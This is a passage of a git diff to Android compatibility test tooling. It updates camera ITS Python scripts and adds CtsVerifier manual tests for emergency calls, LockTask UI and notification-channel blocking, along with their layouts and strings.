- chart = its.image.normalize_img(its.image.get_image_patch(y,
- xnorm, ynorm,
- wnorm, hnorm))
- its.image.write_image(chart, '%s_move_i=%d_chart.jpg' % (NAME, i))
- data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+ y = its.image.rotate_img_per_argv(y)
+ chart.img = its.image.normalize_img(its.image.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ its.image.write_image(chart.img, '%s_move_i=%d_chart.jpg' % (NAME, i))
+ data['sharpness'] = white_level*its.image.compute_image_sharpness(
+ chart.img)
print 'Chart sharpness: %.1f\n' % data['sharpness']
data_moving[i] = data
return data_static, data_moving
@@ -128,19 +118,23 @@
def main():
"""Test if focus position is properly reported for moving lenses."""
-
print '\nStarting test_lens_position.py'
+ # initialize chart class
+ chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+ CHART_SCALE_START, CHART_SCALE_STOP,
+ CHART_SCALE_STEP)
+
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
its.caps.skip_unless(not its.caps.fixed_focus(props))
its.caps.skip_unless(its.caps.lens_calibrated(props))
fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
- # Get proper sensitivity, exposure time, and focus distance with 3A.
- s, e, _, _, fd = cam.do_3a(get_results=True)
+ # Get proper sensitivity and exposure time with 3A
+ s, e, _, _, _ = cam.do_3a(get_results=True)
# Get sharpness for each focal distance
- d_stat, d_move = test_lens_position(cam, props, fmt, s, e, fd)
+ d_stat, d_move = test_lens_position(cam, props, fmt, s, e, chart)
print 'Lens stationary'
for k in sorted(d_stat):
print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index e8a5b81..faacaf9 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -116,7 +116,7 @@
# Split by comma and convert each dimension to int.
[w, h] = map(int, s[9:].split(","))
elif s[:12] == "test_length=" and len(s) > 12:
- test_length = int(s[12:])
+ test_length = float(s[12:])
# Collect or load the camera+gyro data. All gyro events as well as camera
# timestamps are in the "events" dictionary, and "frames" is a list of
@@ -345,7 +345,7 @@
if num_features < MIN_FEATURE_PTS:
print "Not enough feature points in frame", i
print "Need at least %d features, got %d" % (
- MIN_FEATURE_PTS, num_features)
+ MIN_FEATURE_PTS, num_features)
assert 0
else:
print "Number of features in frame %d is %d" % (i, num_features)
@@ -447,13 +447,12 @@
fmt = {"format": "yuv", "width": w, "height": h}
s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
- fps = 30
req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
- print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
- w, h, s, e*NSEC_TO_MSEC)
- caps = cam.do_capture([req]*fps*test_length, fmt)
+ print "Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps" % (
+ w, h, s, e*NSEC_TO_MSEC, fps)
+ caps = cam.do_capture([req]*int(fps*test_length), fmt)
# Get the gyro events.
print "Reading out sensor events"
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 47f7296..5788d19 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -21,13 +21,24 @@
import sys
import its.caps
+import its.cv2image
import its.device
+import its.image
from its.device import ItsSession
CHART_DELAY = 1 # seconds
+CHART_DISTANCE = 30.0 # cm
+CHART_HEIGHT = 13.5 # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
FACING_EXTERNAL = 2
NUM_TRYS = 2
+SCENE3_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+ 'test_images', 'ISO12233.png')
SKIP_RET_CODE = 101 # note this must be same as tests/scene*/test_*
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
def evaluate_socket_failure(err_file_path):
@@ -100,6 +111,7 @@
],
"scene3": [
"test_3a_consistency",
+ "test_flip_mirror",
"test_lens_movement_reporting",
"test_lens_position"
],
@@ -299,6 +311,15 @@
valid_scene_code = subprocess.call(cmd, cwd=topdir)
assert valid_scene_code == 0
print "Start running ITS on camera %s, %s" % (camera_id, scene)
+ # Extract chart from scene for scene3 once up front
+ chart_loc_arg = ''
+ if scene == 'scene3':
+ chart = its.cv2image.Chart(SCENE3_FILE, CHART_HEIGHT,
+ CHART_DISTANCE, CHART_SCALE_START,
+ CHART_SCALE_STOP, CHART_SCALE_STEP)
+ chart_loc_arg = 'chart_loc=%.2f,%.2f,%.2f,%.2f,%.3f' % (
+ chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm,
+ chart.scale)
# Run each test, capturing stdout and stderr.
for (testname, testpath) in tests:
if auto_scene_switch:
@@ -330,7 +351,7 @@
test_code = skip_code
if skip_code is not SKIP_RET_CODE:
cmd = ['python', os.path.join(os.getcwd(), testpath)]
- cmd += sys.argv[1:] + [camera_id_arg]
+ cmd += sys.argv[1:] + [camera_id_arg] + [chart_loc_arg]
with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
test_code = subprocess.call(
cmd, stderr=ferr, stdout=fout, cwd=outdir)
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
index ec16b3d..41f1180 100644
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -82,10 +82,6 @@
elif s[:8] == 'tmp_dir=' and len(s) > 8:
tmp_dir = s[8:]
- if camera_id not in ['0', '1']:
- print 'Need to specify camera 0 or 1'
- sys.exit()
-
# Make output directories to hold the generated files.
tmpdir = tempfile.mkdtemp(dir=tmp_dir)
print 'Saving output files to:', tmpdir, '\n'
@@ -94,6 +90,12 @@
device_id_arg = 'device=' + device_id
print 'Testing device ' + device_id
+ # ensure camera_id is valid
+ avail_camera_ids = find_avail_camera_ids(device_id_arg, tmpdir)
+ if camera_id not in avail_camera_ids:
+ print 'Need to specify valid camera_id in ', avail_camera_ids
+ sys.exit()
+
camera_id_arg = 'camera=' + camera_id
if rotator_ids:
rotator_id_arg = 'rotator=' + rotator_ids
@@ -104,6 +106,7 @@
fps_arg = 'fps=' + fps
test_length_arg = 'test_length=' + test_length
+ print 'Capturing at %sfps' % fps
os.mkdir(os.path.join(tmpdir, camera_id))
@@ -217,6 +220,28 @@
return line
return None
+def find_avail_camera_ids(device_id_arg, tmpdir):
+ """Find the available camera IDs.
+
+ Args:
+ devices_id_arg(str): device=###
+ tmpdir(str): generated tmp dir for run
+ Returns:
+ list of available cameras
+ """
+ avail_camera_ids = []
+ camera_ids_path = os.path.join(tmpdir, 'camera_ids.txt')
+ out_arg = 'out=' + camera_ids_path
+ cmd = ['python',
+ os.path.join(os.getcwd(), 'tools/get_camera_ids.py'), out_arg,
+ device_id_arg]
+ cam_code = subprocess.call(cmd, cwd=tmpdir)
+ assert cam_code == 0
+ with open(camera_ids_path, "r") as f:
+ for line in f:
+ avail_camera_ids.append(line.replace('\n', ''))
+ return avail_camera_ids
+
if __name__ == '__main__':
main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 9fcbdb1..724848e 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -42,6 +42,8 @@
LOCAL_JAVA_LIBRARIES := legacy-android-test
+LOCAL_JAVA_LIBRARIES += telephony-common
+
LOCAL_PACKAGE_NAME := CtsVerifier
LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 514056a..171e18c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -67,6 +67,12 @@
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+ <uses-permission android:name="android.permission.SEND_SMS" />
+
<!-- Needed by UsbTest tapjacking -->
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
@@ -82,6 +88,11 @@
android:largeHeap="true"
android:theme="@android:style/Theme.DeviceDefault">
+ <provider android:name="android.location.cts.MmsPduProvider"
+ android:authorities="emergencycallverifier"
+ android:grantUriPermissions="true" />
+ <uses-library android:name="android.test.runner" />
+
<meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
<meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
@@ -1099,6 +1110,43 @@
<meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
</activity>
+ <activity android:name=".location.EmergencyCallWifiTestsActivity"
+ android:label="@string/location_emergency_call_wifi_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+ </activity>
+
+ <activity android:name=".location.EmergencyCallMessageTestsActivity"
+ android:label="@string/location_emergency_call_message_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.telephony"/>
+ </activity>
+
+ <activity android:name=".location.EmergencyCallGNSSTestsActivity"
+ android:label="@string/location_emergency_call_gps_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+ </activity>
+
<activity android:name=".location.GnssMeasurementWhenNoLocationTestsActivity"
android:label="@string/location_gnss_measure_no_location_test"
android:screenOrientation="locked">
@@ -1829,6 +1877,13 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
</activity>
+ <receiver android:name=".notifications.BlockChangeReceiver">
+ <intent-filter>
+ <action android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED"/>
+ <action android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+
<activity android:name=".notifications.ConditionProviderVerifierActivity"
android:label="@string/cp_test">
<intent-filter>
@@ -2294,6 +2349,14 @@
android:label="@string/provisioning_byod_disallow_apps_control">
</activity>
+ <activity android:name=".managedprovisioning.LockTaskUiTestActivity"
+ android:label="@string/device_owner_lock_task_ui_test">
+ <intent-filter>
+ <action android:name="com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
<activity android:name=".managedprovisioning.WifiLockdownTestActivity"
android:label="@string/device_owner_wifi_lockdown_test">
</activity>
diff --git a/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml b/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml
new file mode 100644
index 0000000..00dee1a
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ style="@style/RootLayoutPadding"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:fillViewport="true">
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TextView
+ android:id="@+id/device_owner_lock_task_ui_instructions"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/device_owner_lock_task_ui_test_info"
+ android:textSize="18dip" />
+
+ <Button
+ android:id="@+id/start_lock_task_button"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/start_lock_task_button_label" />
+
+ <ListView
+ android:id="@+id/android:list"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1" />
+
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+ </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml b/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml
new file mode 100644
index 0000000..fae5167
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ style="@style/RootLayoutPadding">
+
+ <TextView android:id="@+id/info"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="1"
+ android:textSize="18sp"
+ android:padding="5dp"
+ android:text="@string/emergency_call_confirm_info"/>
+ <EditText
+ android:id="@+id/emergency_number"
+ android:layout_height="wrap_content"
+ android:layout_width="match_parent"
+ android:hint="@string/emergency_call_emergency_number_hint_text"
+ android:inputType="phone"
+ android:text="@string/emergency_call_emergency_number_text"/>
+ <Button
+ android:id="@+id/dial_button"
+ android:layout_width="200px"
+ android:layout_height="wrap_content"
+ android:text="@string/emergency_call_dial_text"
+ android:paddingLeft="5dp"
+ android:paddingRight="5dp"
+ android:layout_marginTop="5dp"
+ android:layout_marginRight="5dp"/>
+ </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml b/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml
new file mode 100644
index 0000000..071e2bf
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ style="@style/RootLayoutPadding">
+
+ <TextView android:id="@+id/info"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="1"
+ android:textSize="18sp"
+ android:padding="5dp"
+ android:text="@string/emergency_call_confirm_info"/>
+ <EditText
+ android:id="@+id/emergency_number"
+ android:layout_height="wrap_content"
+ android:layout_width="match_parent"
+ android:hint="@string/emergency_call_emergency_number_hint_text"
+ android:inputType="phone"
+ android:text="@string/emergency_call_emergency_number_text"/>
+ <EditText
+ android:id="@+id/local_phone_number"
+ android:layout_height="wrap_content"
+ android:layout_width="match_parent"
+ android:hint="@string/emergency_call_current_number_hint_text"
+ android:inputType="phone"/>
+ <Button
+ android:id="@+id/dial_button"
+ android:layout_width="200px"
+ android:layout_height="wrap_content"
+ android:text="@string/emergency_call_dial_text"
+ android:paddingLeft="5dp"
+ android:paddingRight="5dp"
+ android:layout_marginTop="5dp"
+ android:layout_marginRight="5dp"/>
+ </LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 6c17fcf..cbd6dc6 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -566,10 +566,32 @@
(for example, stationary on a windowsill. If needed, try again, outside, also with the
device stationary, and with at least some view of the sky.) and then press Next to run
the automated tests.</string>
+ <string name="location_emergency_call_test_info">This test verifies whether basic features
+ (wifi, sms, gps) works correctly during the emergency call. Make sure the device is using
+ a special white listed sim card. The wifi and GPS should be on and have internet connection.
+ </string>
+ <string name="emergency_call_confirm_info">This test will dial 911! Please make sure to use a
+ whitelisted sim card to run this test!
+ </string>
+ <string name="emergency_call_emergency_number_hint_text">
+ Emergency Number:
+ </string>
+ <string name="emergency_call_current_number_hint_text">
+ Current Number:
+ </string>
+ <string name="emergency_call_dial_text">
+ Dial 911
+ </string>
+ <string name="emergency_call_emergency_number_text">
+ 911
+ </string>
<string name="location_gnss_test_retry_info">If this test fails, please make sure the device
has line of sight to GNSS satellites (for example, stationary on a windowsill. If needed,
try again, outside, also with the device stationary, with as much view of the sky as
possible.) </string>
+ <string name="location_emergency_call_gps_test">Emergency Call GPS Test</string>
+ <string name="location_emergency_call_message_test">Emergency Call Message Test</string>
+ <string name="location_emergency_call_wifi_test">Emergency Call Wifi Test</string>
<!-- Strings for net.ConnectivityScreenOffTestActivity -->
<string name="network_screen_off_test">Network Connectivity Screen Off Test</string>
@@ -1525,8 +1547,11 @@
<string name="attention_phone_order">Check that ranker respects telephone URIs for contacts.</string>
<string name="attention_interruption_order">Check that ranker temporarily boosts interruptions.
This test takes 30 seconds to complete.</string>
- <string name="attention_none_are_filtered">Check that \"All\" mode doesn\'t filter any notifications.</string>
- <string name="attention_some_are_filtered">Check that \"Priority\" mode doesn\'t filter priority notifications.</string>
+ <string name="attention_none_are_filtered_messages">Check that \"All\" mode doesn\'t filter any notifications (messages).</string>
+ <string name="attention_none_are_filtered_diff_categories">Check that \"All\" mode doesn\'t filter any notifications (event, reminder, alarm).</string>
+ <string name="attention_some_are_filtered_messages">Check that \"Priority\" mode doesn\'t filter priority notifications (messages from starred contacts).</string>
+ <string name="attention_some_are_filtered_alarms">Check that \"Priority\" mode doesn\'t filter priority notifications (alarms).</string>
+ <string name="attention_some_are_filtered_media_system_other">Check that \"Priority\" mode doesn\'t filter priority notifications (media, system, other).</string>
<string name="attention_all_are_filtered">Check that \"None\" mode filters all notifications.</string>
<string name="nls_test">Notification Listener Test</string>
<string name="nas_test">Notification Assistant Test</string>
@@ -1564,6 +1589,10 @@
under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
<string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
+ <string name="nls_block_channel">Please block the linked notification channel and return here.</string>
+ <string name="nls_block_group">Please block the linked notification channel group and return here.</string>
+ <string name="nls_cannot_enable_service">Please make sure you cannot enable
+ \"Notification Listener for CTS Verifier\" and return here.</string>
<string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
<string name="nls_start_settings">Launch Settings</string>
@@ -1580,6 +1609,7 @@
<string name="nas_snooze_context">Check that the Assistant can snooze a notification until a given context.</string>
<string name="nls_clear_one">Check that service can clear a notification.</string>
<string name="nls_clear_one_reason">Check that service can clear a notification and receive the correct reason for dismissal.</string>
+ <string name="nls_clear_one_stats">Check that service does not receive notification stats.</string>
<string name="nls_clear_all">Check that service can clear all notifications.</string>
<string name="nls_service_stopped">Service should stop once disabled.</string>
<string name="nls_note_missed">Check that notification was not received.</string>
@@ -1593,10 +1623,11 @@
<string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
<string name="cp_test">Condition Provider test</string>
<string name="cp_service_name">Condition Provider for CTS Verifier</string>
- <string name="cp_info">This test checks that a ConditionProviderService can be enabled
+ <string name="cp_info">This test checks that on non-low ram a ConditionProviderService can be enabled
and disabled, and that once enabled the service is able to create, query, edit, and delete
- automatic zen rules.
+ automatic zen rules. On low ram devices condition providers should not be bound.
</string>
+ <string name="cp_cannot_enable_service">Please make sure you cannot enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_enable_service">Please enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_start_settings">Launch Settings</string>
@@ -2664,6 +2695,142 @@
</string>
<string name="device_owner_disable_keyguard_button">Disable keyguard</string>
<string name="device_owner_reenable_keyguard_button">Reenable keyguard</string>
+ <string name="device_owner_lock_task_ui_test">LockTask UI</string>
+ <string name="device_owner_lock_task_ui_test_info">
+ The following tests verify the configurable UI during LockTask, a special mode that
+ prevents the user from leaving the current application.\n\n
+ Please make sure the lock screen is turned on before the test. Press the button below to
+ start LockTask mode. Then mark each item as \'pass\' or \'fail\' according to the
+ instructions.\n\n
+ Finally, execute the last test item to leave LockTask mode.
+ </string>
+ <string name="start_lock_task_button_label">Start LockTask mode</string>
+ <string name="device_owner_lock_task_ui_default_test">Default LockTask UI</string>
+ <string name="device_owner_lock_task_ui_default_test_info">
+ Observe the following UI restrictions. Mark the test as \'pass\' only if ALL of the
+ requirements below are met.\n\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 7) The assist gesture isn\'t available.
+ </string>
+ <string name="device_owner_lock_task_ui_system_info_test">Enable system info</string>
+ <string name="device_owner_lock_task_ui_system_info_test_info">
+ Press the button below to enable system info. Observe the system info area of the status
+ bar is now enabled. This includes the clock, connectivity info, battery info, etc.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Notification icons are still hidden on the status bar.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 7) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_notifications_test">Enable notifications</string>
+ <string name="device_owner_lock_task_ui_notifications_test_info">
+ Press the button below to enable notifications. Observe the notification icons on the
+ status bar are now enabled. The status bar can also be expanded to show the
+ notifications. However, all Settings UI should remain invisible, including Quick
+ Settings and any link to the Settings app.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) System info area is still hidden on the status bar.\n
+ 2) The Home button is hidden.\n
+ 3) The Recents button is hidden.\n
+ 4) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 5) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_home_test">Enable Home button</string>
+ <string name="device_owner_lock_task_ui_home_test_info">
+ Press the button below to enable the Home button. Observe the Home button is now
+ enabled.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Recents button is hidden.\n
+ 4) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 5) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_recents_test">Enable Recents button</string>
+ <string name="device_owner_lock_task_ui_recents_test_info">
+ Press the button below to enable the Recents button. Observe the Recents button is now
+ enabled. Press the Recents button and verify the Recents view can be opened.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 5) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_global_actions_test">Enable global actions</string>
+ <string name="device_owner_lock_task_ui_global_actions_test_info">
+ Press the button below to enable global actions (a.k.a. power button menu). Long-press
+ the power button and verify a menu containing power-off and restart buttons is shown.
+ This menu can\'t contain any UI that allows the user to change system settings (such as
+ airplane mode switch) or access the Settings app.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_keyguard_test">Enable keyguard</string>
+ <string name="device_owner_lock_task_ui_keyguard_test_info">
+ Press the button below to enable keyguard. Press the power button to turn off the screen
+ and press it again to turn the screen back on. Verify that the lock screen is shown.\n\n
+ The rest of the UI restrictions should still apply, both on the lock screen and after
+ the lock screen is dismissed:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar, even on the lock screen.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_stop_lock_task_test">Stop LockTask mode</string>
+ <string name="device_owner_lock_task_ui_stop_lock_task_test_info">
+ Press the button below to exit LockTask mode.\n\n
+ Observe that the UI has returned to the normal, unrestricted state, and is no longer
+ subject to any LockTask restriction.\n\n
+ Mark the test as \'pass\' or \'fail\' accordingly.
+ </string>
<string name="device_owner_lockscreen_secure">Please remove lockscreen password</string>
<string name="device_profile_owner_permission_lockdown_test">Permissions lockdown</string>
<string name="device_profile_owner_permission_lockdown_test_instructions">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 8c779c5..8893e0d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -103,7 +103,7 @@
DevicePropertyInfo devicePropertyInfo = new DevicePropertyInfo(Build.CPU_ABI,
Build.CPU_ABI2, abis, abis32, abis64, Build.BOARD, Build.BRAND, Build.DEVICE,
Build.FINGERPRINT, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
- referenceFingerprint, Build.SERIAL, Build.TAGS, Build.TYPE, versionBaseOs,
+ referenceFingerprint, Build.getSerial(), Build.TAGS, Build.TYPE, versionBaseOs,
Build.VERSION.RELEASE, Integer.toString(Build.VERSION.SDK_INT),
versionSecurityPatch, Build.VERSION.INCREMENTAL);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java
new file mode 100644
index 0000000..1e24e6a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
